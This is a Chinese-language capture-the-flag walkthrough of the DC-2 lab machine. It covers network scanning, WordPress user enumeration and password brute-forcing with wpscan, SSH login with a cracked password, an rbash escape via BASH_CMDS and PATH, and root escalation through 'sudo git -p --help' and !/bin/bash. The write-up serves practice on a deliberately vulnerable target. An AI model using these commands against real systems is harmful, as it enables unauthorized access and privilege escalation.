开启虚拟机设置为nat网卡
扫描网段:nmap -sp 192.168.218.0/24
netdiscover -i eth1 -r 192.168.218.0/24
扫出是
192.168.218.178
扫描端口开放情况,由于是虚拟机,直接用进攻性扫描-A
扫到80端口和7744端口
访问80端口出现dns解析出错,在主机C:\Windows\System32\drivers\etc\hosts文件中
添加一条dns解析 192.168.79.132 dc-2(默认写不进去,因为系统文件没有写入权限,要手动添加对该文件的写入权限)
接下来访问网站发现是wordpress搭建的,同时发现了flag1
对80端口进行目录扫描,可以用dirsearch也可以用msf
我这里用msf
访问
在80端口的前端页面没有发现登录框(与DC-1不同),但这里又有admin,说明是有账户的,我们需要想办法找到可以getshell的地方,也就是能够有跟用户权限交互的地方
尝试访问没有发现可以利用的文件
之前发现网站用wordpress进行搭建,此时想到使用wpscan扫描,使用之前可以进行更新wpscan --update
(WPScan是Kali Linux默认自带的一款漏洞扫描工具, 它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots. txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能)
这就是专业的活交给专业的人干
先更新
常用参数:
--update 更新到最新版本
--url | -u <target url> 要扫描的`WordPress`站点.
--force | -f 不检查网站运行的是不是`WordPress`
--enumerate | -e [option(s)] 枚举
详细的可以自己看
wpscan --url http://dc-2
先用普通遍历扫描
wpscan --url http://dc-2 --enumerate vt //只扫描主题漏洞,没有扫到
wpscan --url http://dc-2 --enumerate p //扫描插件,没有扫到
wpscan --url http://dc-2 --enumerate vp //扫描插件漏洞,没有扫到
wpscan --url http://dc-2 --enumerate u //枚举用户名,发现三个用户
根据flag1的提示,现在开始爆破
生成密码本和用户本
wpscan --url http://dc-2/ -U user.dst -P pass.dst
这里我尝试了用hydra的密码本但是不行
成功得出两个用户以及对应密码
现在就是找登录界面了
这次不用msf了,msf扫目录还是不够专业,我选择用dirsearch
扫出登录页面,用之前账号密码登录
找到flag2
flag2提示如果无法利用wordpress,就换个方式
wordpress在80端口,flag2提示80端口以及没有信息了,那我们就换个端口尝试
我们在扫描端口时还发现对方开启了ssh服务,使用破解得到的账号密码尝试,两个账号都试一遍,最后使用tom账号登录成功:
ssh tom@192.168.218.178 -p 7744
密码:parturient
发现对于tom限制很严重,bash很多命令都被限制了
我们知道linux中有5种查看文件函数:cat/more/less/head/tail
逐个尝试,发现less可以
现在选择绕过rbash的限制,为什么这么绕过?因为看上面的提示,提示tom的bash里没有这些命令,那我就指定linux默认的bash路径,从而提权(echo $PATH查看当前环境变量,echo $0查看一下bash ---->所以我们的shell被限制了)
BASH_CMDS[a]=/bin/sh;a //调用/bin/sh命令解释器,将/bin/sh赋给变量a;
export PATH=$PATH:/bin/ //将 /bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin //将 /usr/bin 作为PATH环境变量导出
可以看到是tom用户的bash路径不对,我们要修改bash路径
可以看到成功提权
su也可以使用成功切换到jerry权限
flag4没有提示flag5在哪里,但是显而易见的,flag5肯定在root权限下
开始提权了
用sudo -l看看有什么命令是用root权限的
发现有git是用root权限的,想办法维持git权限来实现root提权
我这里利用--help强制进入交互界面(必须把输入框调小,不然会直接显示完)
我解释一下这里git提权的工作原理,通过sudo -l发现git有root权限,通过--help让调用git,通过-p强制让git的--help停下来(现在还在维持git的root权限)在维持的root权限下,就把bash改成了root下的bash路径,从而成功提权
其实提权的关键就在于维持高权限,从DC-1和DC-2都是一样,维持高权限,在高权限下进行提权操作
sudo git --help
sudo git -p --help(强制进入交互状态,尝试调用!/bin/bash)
很好的DC-2靶机,使我的kali旋转,很好玩,下面是链接
链接:https://pan.baidu.你com/s/170P8wG_ZuaOC好Ale4FZN3BQ?pwd=zlmn
提取码:zlmn